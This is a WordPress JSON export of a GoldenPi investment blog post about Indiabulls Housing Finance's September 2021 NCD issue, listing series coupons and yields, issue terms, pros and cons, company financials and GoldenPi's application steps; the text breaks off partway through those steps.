{"id":3280,"date":"2021-09-02T11:31:34","date_gmt":"2021-09-02T11:31:34","guid":{"rendered":"https:\/\/goldenpi.com\/blog\/?p=3280"},"modified":"2026-04-09T11:35:40","modified_gmt":"2026-04-09T11:35:40","slug":"indiabulls-housing-finance-limited-ncd-ipo-should-you-invest","status":"publish","type":"post","link":"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/","title":{"rendered":"Indiabulls Housing Finance Limited NCD-IPO: should you invest?"},"content":{"rendered":"<div class=\"issuer-header-section\">\n<div class=\"name-sec\">\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_79_2 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#High_Yield_AA-_Rated_Minimum_Investment_10k_Only\" >High Yield\u00a0 |\u00a0 AA- Rated\u00a0 |\u00a0 Minimum Investment: 10k Only<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#Apply_Now\" >Apply Now\u00a0<\/a><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#IBHFL_NCD_IPO_Coupon_rates_and_effective_yield_for_each_of_the_series\" >IBHFL NCD IPO: Coupon rates and effective yield for each of the series\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#Allocation_Ratio\" >Allocation Ratio<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#Issue_Analysis\" >Issue Analysis\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#About_Indiabulls_Housing_Finance_Limited\" >About Indiabulls Housing Finance Limited<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#Financial_Performance\" >Financial Performance<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#Strengths\" >Strengths\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#Awards\" >Awards\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#Investment_Process_for_IBHFL_NCD_IPO\" >Investment Process for IBHFL NCD IPO<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#You_can_invest_in_IPOs_via_GoldenPi_in_3_easy_steps\" >You can invest in IPOs via GoldenPi in 3 easy steps.<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#If_the_investment_amount_is_less_than_10_lakhs\" >If the investment amount is less than 10 lakhs\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#If_the_investment_amount_is_more_than_10_Lakhs_%E2%80%93\" >If the investment amount is more than 10 Lakhs \u2013<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#To_know_how_to_invest_in_NCD-IPO_online_read_this_blog\" >To know how to invest in NCD-IPO online, read this blog.\u00a0<\/a><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#IPO_allotment\" >IPO allotment<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#Dos_and_Donts_of_Indiabulls_NCD-IPO\" >Dos and Don\u2019ts of Indiabulls NCD-IPO<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/ncd-ipo\/indiabulls\/indiabulls-housing-finance-limited-ncd-ipo-should-you-invest\/#Apply_Now-2\" >Apply Now\u00a0<\/a><\/li><\/ul><\/nav><\/div>\n<h3><span class=\"ez-toc-section\" id=\"High_Yield_AA-_Rated_Minimum_Investment_10k_Only\"><\/span>High Yield\u00a0 |\u00a0 AA- Rated\u00a0 |\u00a0 Minimum Investment: 10k Only<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/div>\n<\/div>\n<div class=\"overview\">\n<div class=\"overview-box display\">\n<p><span style=\"font-weight: 400;\">India\u2019s third-largest Housing Finance Company, Indiabulls Housing Finance Limited is issuing <strong><a href=\"https:\/\/goldenpi.com\/blog\/bond-market-2\/list-of-aa-minus-rated-bonds\/\">AA-rated<\/a> <\/strong>NCDs from 6 September 2021. The issue will close by 20 September 2021. They are being issued in ten different series.\u00a0 The coupon ranges between 8.42% and 9.75% that is much higher than FD rates. They come with different tenures such as 2 years, 3 years, 5 years, and 7 years 4 months. The present bondholders or equity shareholders of Indiabulls are considered Primary Holders. In this IPO, Primary holders will be incentivized by a maximum of 0.25% p.a. This incentive applies only to Retail and HNI categories.<\/span><\/p>\n<h1 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Apply_Now\"><\/span><a href=\"https:\/\/goldenpi.com\/collections\/best-ongoing-ipos\">Apply Now\u00a0<\/a><span class=\"ez-toc-section-end\"><\/span><\/h1>\n<div class=\"pcrstb-wrap\"><table>\n<tbody>\n<tr>\n<td><b>Issuer<\/b><\/td>\n<td><span style=\"font-weight: 400;\">Indiabulls Housing Finance Limited<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Type of instrument\u00a0<\/b><\/td>\n<td><span style=\"font-weight: 400;\">Secured or\/and unsecured redeemable and non-convertible debentures<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Listing\u00a0<\/b><\/td>\n<td><span style=\"font-weight: 400;\">The NCDs shall be listed on the BSE Limited (Stock Exchange) after 6 days of the closing date<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Credit Rating\u00a0<\/b><\/td>\n<td><span style=\"font-weight: 400;\">\u201cAA\u201d by CRISIL\u00a0<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Issue Size<\/b><\/td>\n<td><span style=\"font-weight: 400;\">Rs. 1000 cr (including GreenShoe Option)<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Issue Price (in Rs.)\u00a0<\/b><\/td>\n<td><span style=\"font-weight: 400;\">Rs. 1000 per NCD<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Minimum Investment (in Rs.)<\/b><\/td>\n<td><span style=\"font-weight: 400;\">10,000\u00a0<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Issue Opening Date\u00a0<\/b><\/td>\n<td><span style=\"font-weight: 400;\">September 6, 2021<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Issue Closing Date\u00a0<\/b><\/td>\n<td><span style=\"font-weight: 400;\">September 20, 2021\u00a0<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Mode of Issuance\u00a0<\/b><\/td>\n<td><span style=\"font-weight: 400;\">Dematerialized only\u00a0<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table><\/div>\n<h2><\/h2>\n<h2><span class=\"ez-toc-section\" id=\"IBHFL_NCD_IPO_Coupon_rates_and_effective_yield_for_each_of_the_series\"><\/span><strong>IBHFL NCD IPO: Coupon rates and effective yield for each of the series\u00a0<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h1 style=\"text-align: center;\"><\/h1>\n<div class=\"pcrstb-wrap\"><table>\n<tbody>\n<tr>\n<td><b>Series\u00a0<\/b><\/td>\n<td><b>Frequency\u00a0<\/b><\/td>\n<td><b>Tenure\u00a0<\/b><\/td>\n<td><b>Coupon Rate\u00a0<\/b><\/td>\n<td><b>Yield\u00a0<\/b><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">I<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Annual\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">24 Months\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.75%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.75%<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">II<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Cumulative\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">24 Months\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">NA<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.75%<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">III<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Monthly\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">24 Months\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.42%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.75%<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">IV<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Annual\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">36 Months<\/span><\/td>\n<td><span style=\"font-weight: 400;\">9.00%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">9.00%<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">V<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Cumulative\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">36 Months<\/span><\/td>\n<td><span style=\"font-weight: 400;\">NA<\/span><\/td>\n<td><span style=\"font-weight: 400;\">9.00%<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">VI<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Monthly\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">36 Months<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.66%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">9.00%<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">VII<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Annual\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">60 Months\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">9.25%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">9.25%<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">VIII<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Monthly\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">60 Months\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">8.89%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">9.25%<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">IX<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Annual\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">87 Months\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">9.75%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">9.75%<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">X<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Monthly<\/span><\/td>\n<td><span style=\"font-weight: 400;\">87 Months\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">9.35%<\/span><\/td>\n<td><span style=\"font-weight: 400;\">9.35%<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table><\/div>\n<h1 style=\"text-align: center;\"><\/h1>\n<h2><span class=\"ez-toc-section\" id=\"Allocation_Ratio\"><\/span><strong>Allocation Ratio<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h1 style=\"text-align: center;\"><img decoding=\"async\" class=\" wp-image-3315 alignright\" src=\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/06055126\/IBHFL2-296x300.jpg\" alt=\"\" width=\"249\" height=\"252\" srcset=\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/06055126\/IBHFL2-296x300.jpg 296w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/06055126\/IBHFL2.jpg 340w\" sizes=\"(max-width: 249px) 100vw, 249px\" \/><\/h1>\n<p><span style=\"font-weight: 400;\">The allocation ratio of IBHFL NCD IPO is prepared based on norms laid down by <\/span><a href=\"https:\/\/www.sebi.gov.in\/\"><span style=\"font-weight: 400;\">SEBI<\/span><\/a><span style=\"font-weight: 400;\">. Before announcing the allocation ratio, the same has to be approved by SEBI.\u00a0 Once the IPO subscription closes, applications will be divided into different categories. The category-wise allocation ratio is always decided and declared during the launch of the particular IPO. Considering the Allocation Ratio, units will be assigned to applicants. Refer to the chart to know the application ratio for IBHFL NCD-IPO.<\/span><\/p>\n<h1 style=\"text-align: center;\"><\/h1>\n<\/div>\n<h2><\/h2>\n<div class=\"overview-box display\">\n<h2><\/h2>\n<h2><span class=\"ez-toc-section\" id=\"Issue_Analysis\"><\/span><strong>Issue Analysis\u00a0<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><b>Pros<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">The NCDs are AA-rated securities. AA-rated securities fall into the category of investment grade hence underlying credit risk is assumed to be quite low.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">The <strong><a href=\"https:\/\/goldenpi.com\/blog\/fixed-income\/govt-securities\/what-is-a-coupon-rate\/\">coupon rate<\/a><\/strong> is between 8.42% to 9.75% that is much higher than (3 to 4%) higher than FD rates.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Few of the series are secured by the company\u2019s assets.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">In this IPO, Primary holders will be incentivized by a maximum of 0.25% p.a.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Indiabulls has made a strong presence in India with 125 branches and 8000+ channel partners that can efficiently manage to execute new growth strategies.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">The company is agile in adopting technology to reduce costs and reach the untapped market.\u00a0<\/span><\/li>\n<\/ul>\n<p><b>Cons<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">All of the series are not secured.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">The company\u2019s revenue has been reducing for 2 years.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Loan books are less seasoned because of pandemics.<\/span><\/li>\n<\/ul>\n<h2><\/h2>\n<h2><span class=\"ez-toc-section\" id=\"About_Indiabulls_Housing_Finance_Limited\"><\/span><strong>About Indiabulls Housing Finance Limited<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Indiabulls Housing Finance Limited (IBHFL) was founded in 2005. It is headquartered in New Delhi, India. It is the third-largest housing finance company regulated by National Housing Bank. IBHFL is part of the Indiabulls group: IBHFL leads 80% of the group turnover. IBHFL is operating via 125 branches in 92 cities in India. IBHFL has made its presence in the United Kingdom and the United Arab Emirates. Mr. Gagan Banga is leading the IBHFL team as Managing Director of the company.<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Loan disbursed- Rs. 2.84 lakh Cr<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Customer base &#8211; 10 Lakh +<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Number of branches- 125<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Number of channel partners- 8000<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<\/ul>\n<h1 style=\"text-align: center;\"><\/h1>\n<h3><span class=\"ez-toc-section\" id=\"Financial_Performance\"><\/span><strong>Financial Performance<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Pandemic has hit the company\u2019s performance hence annual revenue has reduced. The company is agile in adopting technology. It has an end-to-end digitalized home loan. With the help of digital assets, the company is trying to make a presence in tier-3 and tier-4 locations.\u00a0<\/span><\/p>\n<h1 style=\"text-align: center;\"><\/h1>\n<p><span style=\"font-weight: 400;\">\u00a0 \u00a0 \u00a0 \u00a0(Rs. in crores)<\/span><\/p>\n<div class=\"pcrstb-wrap\"><table>\n<tbody>\n<tr>\n<td><b>Particulars\u00a0<\/b><\/td>\n<td><b>March-2021<\/b><\/td>\n<td><b>March-2020<\/b><\/td>\n<td><b>March-2019<\/b><\/td>\n<\/tr>\n<tr>\n<td><b>Total Assets\u00a0<\/b><\/td>\n<td><span style=\"font-weight: 400;\">83,472.27<\/span><\/td>\n<td><span style=\"font-weight: 400;\">92,652.57<\/span><\/td>\n<td><span style=\"font-weight: 400;\">120,102.71<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Total Revenue\u00a0<\/b><\/td>\n<td><span style=\"font-weight: 400;\">8,654.64<\/span><\/td>\n<td><span style=\"font-weight: 400;\">11,399.23\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">15,407.35<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Profit for the year<\/b><\/td>\n<td><span style=\"font-weight: 400;\">1,058.46\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">2,159.91\u00a0<\/span><\/td>\n<td><span style=\"font-weight: 400;\">3,729.26<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table><\/div>\n<h1 style=\"text-align: center;\"><\/h1>\n<h2><\/h2>\n<h2><\/h2>\n<h2><span class=\"ez-toc-section\" id=\"Strengths\"><\/span><strong>Strengths\u00a0<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h1 style=\"text-align: center;\"><img decoding=\"async\" class=\"wp-image-3307 aligncenter\" src=\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/06053415\/Strengths-IBHFL-1-300x71.jpg\" alt=\"\" width=\"634\" height=\"150\" srcset=\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/06053415\/Strengths-IBHFL-1-300x71.jpg 300w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/06053415\/Strengths-IBHFL-1-768x182.jpg 768w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/06053415\/Strengths-IBHFL-1-585x139.jpg 585w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/06053415\/Strengths-IBHFL-1.jpg 861w\" sizes=\"(max-width: 634px) 100vw, 634px\" \/><\/h1>\n<h2><\/h2>\n<h2><\/h2>\n<h2><\/h2>\n<h2><span class=\"ez-toc-section\" id=\"Awards\"><\/span><strong>Awards\u00a0<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<\/div>\n<\/div>\n<p><img decoding=\"async\" class=\"wp-image-3298 aligncenter\" src=\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/04031754\/IBHFL-300x116.jpg\" alt=\"\" width=\"797\" height=\"308\" srcset=\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/04031754\/IBHFL-300x116.jpg 300w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/04031754\/IBHFL-1024x394.jpg 1024w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/04031754\/IBHFL-768x296.jpg 768w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/04031754\/IBHFL-1170x451.jpg 1170w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/04031754\/IBHFL-585x225.jpg 585w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/04031754\/IBHFL.jpg 1275w\" sizes=\"(max-width: 797px) 100vw, 797px\" \/><\/p>\n<div class=\"overview\">\n<div class=\"overview-box display\">\n<h2><\/h2>\n<h2><\/h2>\n<h2><span class=\"ez-toc-section\" id=\"Investment_Process_for_IBHFL_NCD_IPO\"><\/span><strong>Investment Process for IBHFL NCD IPO<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">IPOs are facilitated by entities called Lead Managers. Generally, these lead managers are brokerage firms. Investors need to apply for IPO through lead managers, and once the allotment is made, investors will receive the <strong><a href=\"https:\/\/goldenpi.com\/blog\/essentials\/gold-bonds-vs-physical-gold-vs-gold-etfs-complete-breakdown\/\">bond<\/a><\/strong> units in their Demat account.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"You_can_invest_in_IPOs_via_GoldenPi_in_3_easy_steps\"><\/span><b>You can invest in IPOs via GoldenPi in 3 easy steps.<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"If_the_investment_amount_is_less_than_10_lakhs\"><\/span><b><i>If the investment amount is less than 10 lakhs\u00a0<\/i><\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">If the investment amount is less than 10 lakhs, retail investors can apply for an IPO online in three simple steps.<\/span><\/p>\n<p><img decoding=\"async\" class=\" wp-image-3296 aligncenter\" src=\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/04031639\/GoldenPi-Process-Infographic-09_03-Updated-300x187.jpg\" alt=\"\" width=\"819\" height=\"511\" srcset=\"https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/04031639\/GoldenPi-Process-Infographic-09_03-Updated-300x187.jpg 300w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/04031639\/GoldenPi-Process-Infographic-09_03-Updated-1024x638.jpg 1024w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/04031639\/GoldenPi-Process-Infographic-09_03-Updated-768x479.jpg 768w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/04031639\/GoldenPi-Process-Infographic-09_03-Updated-1536x957.jpg 1536w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/04031639\/GoldenPi-Process-Infographic-09_03-Updated-2048x1277.jpg 2048w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/04031639\/GoldenPi-Process-Infographic-09_03-Updated-1170x729.jpg 1170w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/04031639\/GoldenPi-Process-Infographic-09_03-Updated-1920x1197.jpg 1920w, https:\/\/d2zny4996dl67j.cloudfront.net\/blogs\/wp-content\/uploads\/2021\/09\/04031639\/GoldenPi-Process-Infographic-09_03-Updated-585x365.jpg 585w\" sizes=\"(max-width: 819px) 100vw, 819px\" \/><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Select the product- <\/b><span style=\"font-weight: 400;\">Visit GoldenPi.Com and go to the collection page. Visit the IPO section and choose the issuing company. The product page provides information such as a coupon, yield, maturity, and payment frequency. The product page also displays credit rating and issuer details that help investors to make an appropriate decision.\u00a0<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Decide Investment Amount<\/b><span style=\"font-weight: 400;\"> \u2013 Decide the amount you want to invest. You need to select the series and the number of units you want to purchase. The calculator displays the total investment amount.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Pay via UPI<\/b><span style=\"font-weight: 400;\">\u2013 Now provide UPI handle. You will receive a mandate in the UPI app. Go to the respective UPI app and make payment by approving the mandate.\u00a0<\/span><\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"If_the_investment_amount_is_more_than_10_Lakhs_%E2%80%93\"><\/span><b><i>If the investment amount is more than 10 Lakhs \u2013<\/i><\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">A.Fill up the form with the required information.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">B.Take a photo of your form and share it with your Relationship Manager for bidding on exchange.\u00a0<\/span><\/p>\n<p><span 